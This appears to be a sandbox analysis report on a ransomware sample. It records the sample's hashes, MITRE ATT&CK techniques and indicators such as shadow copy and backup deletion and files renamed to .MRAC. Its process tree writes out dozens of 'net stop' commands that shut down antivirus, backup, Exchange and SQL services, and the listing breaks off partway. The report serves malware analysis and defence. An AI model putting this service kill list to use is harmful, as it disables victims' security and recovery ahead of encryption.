768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91

Resubmissions

27/12/2021, 19:46

211227-yhb1vadah9 9

26/12/2021, 08:08

211226-j1tahshhdk 9

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-en-20211208
submitted
26/12/2021, 08:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Size

338KB
MD5

b99ce03482978a861c883bb772be3b25
SHA1

84ecf8f8b0de2dbb3df4b99766a84143e49eaa00
SHA256

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91
SHA512

a9261830ed6a6c93fcd6fd7c8483d917f2b4235bc9dd586eac9d10bdb6ca2872c6101ea512ecc2abc176a60afa576aa0856db25c66bc29bf81fe2a11c94875c1

Score

9^/10

evasion ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3352	bcdedit.exe
3372	bcdedit.exe

Deletes System State backups 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command-Line Interface

T1059

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
3388	wbadmin.exe
3468	wbadmin.exe

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\WriteRepair.tif => C:\Users\Admin\Pictures\WriteRepair.tif.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\CompareGet.raw => C:\Users\Admin\Pictures\CompareGet.raw.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\DisconnectRegister.tif => C:\Users\Admin\Pictures\DisconnectRegister.tif.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\GrantSkip.tif => C:\Users\Admin\Pictures\GrantSkip.tif.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\SuspendPublish.raw => C:\Users\Admin\Pictures\SuspendPublish.raw.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\UnprotectComplete.tif => C:\Users\Admin\Pictures\UnprotectComplete.tif.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\WaitPublish.raw => C:\Users\Admin\Pictures\WaitPublish.raw.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\WatchGet.png => C:\Users\Admin\Pictures\WatchGet.png.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe

Deletes itself 1 IoCs

pid	Process
3820	Cmd.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.1.etl	wbadmin.exe

Interacts with shadow copies 2 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
4052	vssadmin.exe
3264	vssadmin.exe

Kills process with taskkill 45 IoCs

evasion

pid	Process
3788	taskkill.exe
3032	taskkill.exe
3232	taskkill.exe
3208	taskkill.exe
3380	taskkill.exe
3572	taskkill.exe
3836	taskkill.exe
3884	taskkill.exe
3908	taskkill.exe
2664	taskkill.exe
3136	taskkill.exe
3980	taskkill.exe
3160	taskkill.exe
3356	taskkill.exe
3428	taskkill.exe
3452	taskkill.exe
3524	taskkill.exe
3620	taskkill.exe
2940	taskkill.exe
3012	taskkill.exe
3860	taskkill.exe
3956	taskkill.exe
3668	taskkill.exe
3812	taskkill.exe
3332	taskkill.exe
3716	taskkill.exe
2556	taskkill.exe
3256	taskkill.exe
3500	taskkill.exe
3692	taskkill.exe
3740	taskkill.exe
3280	taskkill.exe
3304	taskkill.exe
3476	taskkill.exe
3548	taskkill.exe
3596	taskkill.exe
4004	taskkill.exe
3088	taskkill.exe
3112	taskkill.exe
3932	taskkill.exe
3184	taskkill.exe
3404	taskkill.exe
4028	taskkill.exe
3644	taskkill.exe
3764	taskkill.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3844	PING.EXE

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeDebugPrivilege	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeDebugPrivilege	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeBackupPrivilege	3076	vssvc.exe
Token: SeRestorePrivilege	3076	vssvc.exe
Token: SeAuditPrivilege	3076	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3520	wmic.exe
Token: SeSecurityPrivilege	3520	wmic.exe
Token: SeTakeOwnershipPrivilege	3520	wmic.exe
Token: SeLoadDriverPrivilege	3520	wmic.exe
Token: SeSystemProfilePrivilege	3520	wmic.exe
Token: SeSystemtimePrivilege	3520	wmic.exe
Token: SeProfSingleProcessPrivilege	3520	wmic.exe
Token: SeIncBasePriorityPrivilege	3520	wmic.exe
Token: SeCreatePagefilePrivilege	3520	wmic.exe
Token: SeBackupPrivilege	3520	wmic.exe
Token: SeRestorePrivilege	3520	wmic.exe
Token: SeShutdownPrivilege	3520	wmic.exe
Token: SeDebugPrivilege	3520	wmic.exe
Token: SeSystemEnvironmentPrivilege	3520	wmic.exe
Token: SeRemoteShutdownPrivilege	3520	wmic.exe
Token: SeUndockPrivilege	3520	wmic.exe
Token: SeManageVolumePrivilege	3520	wmic.exe
Token: 33	3520	wmic.exe
Token: 34	3520	wmic.exe
Token: 35	3520	wmic.exe
Token: SeIncreaseQuotaPrivilege	3520	wmic.exe
Token: SeSecurityPrivilege	3520	wmic.exe
Token: SeTakeOwnershipPrivilege	3520	wmic.exe
Token: SeLoadDriverPrivilege	3520	wmic.exe
Token: SeSystemProfilePrivilege	3520	wmic.exe
Token: SeSystemtimePrivilege	3520	wmic.exe
Token: SeProfSingleProcessPrivilege	3520	wmic.exe
Token: SeIncBasePriorityPrivilege	3520	wmic.exe
Token: SeCreatePagefilePrivilege	3520	wmic.exe
Token: SeBackupPrivilege	3520	wmic.exe
Token: SeRestorePrivilege	3520	wmic.exe
Token: SeShutdownPrivilege	3520	wmic.exe
Token: SeDebugPrivilege	3520	wmic.exe
Token: SeSystemEnvironmentPrivilege	3520	wmic.exe
Token: SeRemoteShutdownPrivilege	3520	wmic.exe
Token: SeUndockPrivilege	3520	wmic.exe
Token: SeManageVolumePrivilege	3520	wmic.exe
Token: 33	3520	wmic.exe
Token: 34	3520	wmic.exe
Token: 35	3520	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1788 wrote to memory of 1912	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	27
PID 1788 wrote to memory of 1912	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	27
PID 1788 wrote to memory of 1912	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	27
PID 1788 wrote to memory of 1912	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	27
PID 1912 wrote to memory of 544	1912	net.exe	29
PID 1912 wrote to memory of 544	1912	net.exe	29
PID 1912 wrote to memory of 544	1912	net.exe	29
PID 1912 wrote to memory of 544	1912	net.exe	29
PID 1788 wrote to memory of 596	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	30
PID 1788 wrote to memory of 596	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	30
PID 1788 wrote to memory of 596	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	30
PID 1788 wrote to memory of 596	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	30
PID 596 wrote to memory of 756	596	net.exe	32
PID 596 wrote to memory of 756	596	net.exe	32
PID 596 wrote to memory of 756	596	net.exe	32
PID 596 wrote to memory of 756	596	net.exe	32
PID 1788 wrote to memory of 1240	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	33
PID 1788 wrote to memory of 1240	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	33
PID 1788 wrote to memory of 1240	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	33
PID 1788 wrote to memory of 1240	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	33
PID 1240 wrote to memory of 1492	1240	net.exe	35
PID 1240 wrote to memory of 1492	1240	net.exe	35
PID 1240 wrote to memory of 1492	1240	net.exe	35
PID 1240 wrote to memory of 1492	1240	net.exe	35
PID 1788 wrote to memory of 112	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	36
PID 1788 wrote to memory of 112	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	36
PID 1788 wrote to memory of 112	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	36
PID 1788 wrote to memory of 112	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	36
PID 112 wrote to memory of 1852	112	net.exe	38
PID 112 wrote to memory of 1852	112	net.exe	38
PID 112 wrote to memory of 1852	112	net.exe	38
PID 112 wrote to memory of 1852	112	net.exe	38
PID 1788 wrote to memory of 688	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	39
PID 1788 wrote to memory of 688	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	39
PID 1788 wrote to memory of 688	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	39
PID 1788 wrote to memory of 688	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	39
PID 688 wrote to memory of 900	688	net.exe	41
PID 688 wrote to memory of 900	688	net.exe	41
PID 688 wrote to memory of 900	688	net.exe	41
PID 688 wrote to memory of 900	688	net.exe	41
PID 1788 wrote to memory of 1832	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	42
PID 1788 wrote to memory of 1832	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	42
PID 1788 wrote to memory of 1832	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	42
PID 1788 wrote to memory of 1832	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	42
PID 1832 wrote to memory of 436	1832	net.exe	44
PID 1832 wrote to memory of 436	1832	net.exe	44
PID 1832 wrote to memory of 436	1832	net.exe	44
PID 1832 wrote to memory of 436	1832	net.exe	44
PID 1788 wrote to memory of 1812	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	45
PID 1788 wrote to memory of 1812	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	45
PID 1788 wrote to memory of 1812	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	45
PID 1788 wrote to memory of 1812	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	45
PID 1812 wrote to memory of 1216	1812	net.exe	47
PID 1812 wrote to memory of 1216	1812	net.exe	47
PID 1812 wrote to memory of 1216	1812	net.exe	47
PID 1812 wrote to memory of 1216	1812	net.exe	47
PID 1788 wrote to memory of 1328	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	48
PID 1788 wrote to memory of 1328	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	48
PID 1788 wrote to memory of 1328	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	48
PID 1788 wrote to memory of 1328	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	48
PID 1328 wrote to memory of 1904	1328	net.exe	50
PID 1328 wrote to memory of 1904	1328	net.exe	50
PID 1328 wrote to memory of 1904	1328	net.exe	50
PID 1328 wrote to memory of 1904	1328	net.exe	50

C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
"C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe"
1⤵
- Modifies extensions of user files
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1788
- C:\Windows\SysWOW64\net.exe
  net stop Acronis VSS Provider /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Acronis VSS Provider /y
    3⤵
    PID:544
- C:\Windows\SysWOW64\net.exe
  net stop Enterprise Client Service /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:596
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Enterprise Client Service /y
    3⤵
    PID:756
- C:\Windows\SysWOW64\net.exe
  net stop Sophos Agent /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sophos Agent /y
    3⤵
    PID:1492
- C:\Windows\SysWOW64\net.exe
  net stop Sophos AutoUpdate Service /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:112
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sophos AutoUpdate Service /y
    3⤵
    PID:1852
- C:\Windows\SysWOW64\net.exe
  net stop Sophos Clean Service /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:688
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sophos Clean Service /y
    3⤵
    PID:900
- C:\Windows\SysWOW64\net.exe
  net stop Sophos Device Control Service /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sophos Device Control Service /y
    3⤵
    PID:436
- C:\Windows\SysWOW64\net.exe
  net stop Sophos File Scanner Service /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sophos File Scanner Service /y
    3⤵
    PID:1216
- C:\Windows\SysWOW64\net.exe
  net stop Sophos Health Service /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1328
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sophos Health Service /y
    3⤵
    PID:1904
- C:\Windows\SysWOW64\net.exe
  net stop Sophos MCS Agent /y
  2⤵
  PID:1752
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sophos MCS Agent /y
    3⤵
    PID:632
- C:\Windows\SysWOW64\net.exe
  net stop Sophos MCS Client /y
  2⤵
  PID:1228
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sophos MCS Client /y
    3⤵
    PID:1096
- C:\Windows\SysWOW64\net.exe
  net stop Sophos Message Router /y
  2⤵
  PID:840
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sophos Message Router /y
    3⤵
    PID:1108
- C:\Windows\SysWOW64\net.exe
  net stop Sophos SafeStore Service /y
  2⤵
  PID:1352
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sophos SafeStore Service /y
    3⤵
    PID:1964
- C:\Windows\SysWOW64\net.exe
  net stop Sophos Protection System Service /y
  2⤵
  PID:1156
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sophos Protection System Service /y
    3⤵
    PID:1612
- C:\Windows\SysWOW64\net.exe
  net stop Sophos Web Control Service /y
  2⤵
  PID:1616
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sophos Web Control Service /y
    3⤵
    PID:580
- C:\Windows\SysWOW64\net.exe
  net stop SQLsafe /y
  2⤵
  PID:524
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLsafe /y
    3⤵
    PID:756
- C:\Windows\SysWOW64\net.exe
  net stop SQLsafe Filter Service /y
  2⤵
  PID:1380
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLsafe Filter Service /y
    3⤵
    PID:584
- C:\Windows\SysWOW64\net.exe
  net stop Symantec System Recovery /y
  2⤵
  PID:880
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Symantec System Recovery /y
    3⤵
    PID:864
- C:\Windows\SysWOW64\net.exe
  net stop Veeam Backup Service Data Catalog /y
  2⤵
  PID:900
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Veeam Backup Service Data Catalog /y
    3⤵
    PID:988
- C:\Windows\SysWOW64\net.exe
  net stop AcronisAgent /y
  2⤵
  PID:1120
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:1824
- C:\Windows\SysWOW64\net.exe
  net stop AcrSch2Svc /y
  2⤵
  PID:1756
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:844
- C:\Windows\SysWOW64\net.exe
  net stop Antivirus /y
  2⤵
  PID:1268
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Antivirus /y
    3⤵
    PID:1028
- C:\Windows\SysWOW64\net.exe
  net stop ARSM /y
  2⤵
  PID:1628
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ARSM /y
    3⤵
    PID:1108
- C:\Windows\SysWOW64\net.exe
  net stop BackupExecAgentAccelerator /y
  2⤵
  PID:1712
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:1500
- C:\Windows\SysWOW64\net.exe
  net stop BackupExecAgentBrowser /y
  2⤵
  PID:984
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:1704
- C:\Windows\SysWOW64\net.exe
  net stop BackupExecDeviceMediaService /y
  2⤵
  PID:588
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
    3⤵
    PID:472
- C:\Windows\SysWOW64\net.exe
  net stop BackupExecJobEngine /y
  2⤵
  PID:484
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:584
- C:\Windows\SysWOW64\net.exe
  net stop BackupExecManagementService /y
  2⤵
  PID:1852
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:1856
- C:\Windows\SysWOW64\net.exe
  net stop BackupExecRPCService /y
  2⤵
  PID:396
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:1056
- C:\Windows\SysWOW64\net.exe
  net stop BackupExecVSSProvider /y
  2⤵
  PID:1824
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:2024
- C:\Windows\SysWOW64\net.exe
  net stop bedbg /y
  2⤵
  PID:1904
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop bedbg /y
    3⤵
    PID:1184
- C:\Windows\SysWOW64\net.exe
  net stop DCAgent /y
  2⤵
  PID:1700
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DCAgent /y
    3⤵
    PID:1080
- C:\Windows\SysWOW64\net.exe
  net stop EPSecurityService /y
  2⤵
  PID:1376
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop EPSecurityService /y
    3⤵
    PID:544
- C:\Windows\SysWOW64\net.exe
  net stop EPUpdateService /y
  2⤵
  PID:908
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop EPUpdateService /y
    3⤵
    PID:776
- C:\Windows\SysWOW64\net.exe
  net stop EraserSvc11710 /y
  2⤵
  PID:1204
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop EraserSvc11710 /y
    3⤵
    PID:940
- C:\Windows\SysWOW64\net.exe
  net stop EsgShKernel /y
  2⤵
  PID:1372
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop EsgShKernel /y
    3⤵
    PID:1316
- C:\Windows\SysWOW64\net.exe
  net stop FA_Scheduler /y
  2⤵
  PID:276
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop FA_Scheduler /y
    3⤵
    PID:1508
- C:\Windows\SysWOW64\net.exe
  net stop IISAdmin /y
  2⤵
  PID:1480
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop IISAdmin /y
    3⤵
    PID:844
- C:\Windows\SysWOW64\net.exe
  net stop IMAP4Svc /y
  2⤵
  PID:1684
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop IMAP4Svc /y
    3⤵
    PID:1660
- C:\Windows\SysWOW64\net.exe
  net stop macmnsvc /y
  2⤵
  PID:1028
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop macmnsvc /y
    3⤵
    PID:1964
- C:\Windows\SysWOW64\net.exe
  net stop masvc /y
  2⤵
  PID:1928
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop masvc /y
    3⤵
    PID:1128
- C:\Windows\SysWOW64\net.exe
  net stop MBAMService /y
  2⤵
  PID:1736
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MBAMService /y
    3⤵
    PID:756
- C:\Windows\SysWOW64\net.exe
  net stop MBEndpointAgent /y
  2⤵
  PID:1368
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MBEndpointAgent /y
    3⤵
    PID:864
- C:\Windows\SysWOW64\net.exe
  net stop McAfeeEngineService /y
  2⤵
  PID:1316
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeEngineService /y
    3⤵
    PID:1508
- C:\Windows\SysWOW64\net.exe
  net stop McAfeeFramework /y
  2⤵
  PID:988
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeFramework /y
    3⤵
    PID:1060
- C:\Windows\SysWOW64\net.exe
  net stop McAfeeFrameworkMcAfeeFramework /y
  2⤵
  PID:1184
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
    3⤵
    PID:1080
- C:\Windows\SysWOW64\net.exe
  net stop McShield /y
  2⤵
  PID:1932
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McShield /y
    3⤵
    PID:1704
- C:\Windows\SysWOW64\net.exe
  net stop McTaskManager /y
  2⤵
  PID:472
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McTaskManager /y
    3⤵
    PID:576
- C:\Windows\SysWOW64\net.exe
  net stop mfemms /y
  2⤵
  PID:864
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfemms /y
    3⤵
    PID:1508
- C:\Windows\SysWOW64\net.exe
  net stop mfevtp /y
  2⤵
  PID:1400
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfevtp /y
    3⤵
    PID:2024
- C:\Windows\SysWOW64\net.exe
  net stop MMS /y
  2⤵
  PID:1964
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MMS /y
    3⤵
    PID:1076
- C:\Windows\SysWOW64\net.exe
  net stop mozyprobackup /y
  2⤵
  PID:1128
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mozyprobackup /y
    3⤵
    PID:268
- C:\Windows\SysWOW64\net.exe
  net stop MsDtsServer /y
  2⤵
  PID:1528
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MsDtsServer /y
    3⤵
    PID:1060
- C:\Windows\SysWOW64\net.exe
  net stop MsDtsServer100 /y
  2⤵
  PID:2024
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MsDtsServer100 /y
    3⤵
    PID:1076
- C:\Windows\SysWOW64\net.exe
  net stop MsDtsServer110 /y
  2⤵
  PID:1720
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MsDtsServer110 /y
    3⤵
    PID:776
- C:\Windows\SysWOW64\net.exe
  net stop MSExchangeES /y
  2⤵
  PID:1008
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSExchangeES /y
    3⤵
    PID:544
- C:\Windows\SysWOW64\net.exe
  net stop MSExchangeIS /y
  2⤵
  PID:1704
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSExchangeIS /y
    3⤵
    PID:576
- C:\Windows\SysWOW64\net.exe
  net stop MSExchangeMGMT /y
  2⤵
  PID:1508
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSExchangeMGMT /y
    3⤵
    PID:1200
- C:\Windows\SysWOW64\net.exe
  net stop MSExchangeMTA /y
  2⤵
  PID:576
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSExchangeMTA /y
    3⤵
    PID:1200
- C:\Windows\SysWOW64\net.exe
  net stop MSExchangeSA /y
  2⤵
  PID:544
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSExchangeSA /y
    3⤵
    PID:268
- C:\Windows\SysWOW64\net.exe
  net stop MSExchangeSRS /y
  2⤵
  PID:1200
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSExchangeSRS /y
    3⤵
    PID:2056
- C:\Windows\SysWOW64\net.exe
  net stop MSOLAP $ SQL_2008 /y
  2⤵
  PID:2064
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSOLAP $ SQL_2008 /y
    3⤵
    PID:2084
- C:\Windows\SysWOW64\net.exe
  net stop MSOLAP $ SYSTEM_BGC /y
  2⤵
  PID:2092
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSOLAP $ SYSTEM_BGC /y
    3⤵
    PID:2112
- C:\Windows\SysWOW64\net.exe
  net stop MSOLAP $ TPS /y
  2⤵
  PID:2120
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSOLAP $ TPS /y
    3⤵
    PID:2140
- C:\Windows\SysWOW64\net.exe
  net stop MSOLAP $ TPSAMA /y
  2⤵
  PID:2148
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSOLAP $ TPSAMA /y
    3⤵
    PID:2168
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ BKUPEXEC /y
  2⤵
  PID:2176
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ BKUPEXEC /y
    3⤵
    PID:2196
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ ECWDB2 /y
  2⤵
  PID:2204
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ ECWDB2 /y
    3⤵
    PID:2224
- C:\Windows\SysWOW64\net.exe
  net stop MSSQL $ PRACTICEMGT /y
  2⤵
  PID:2232
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL $ PRACTICEMGT /y
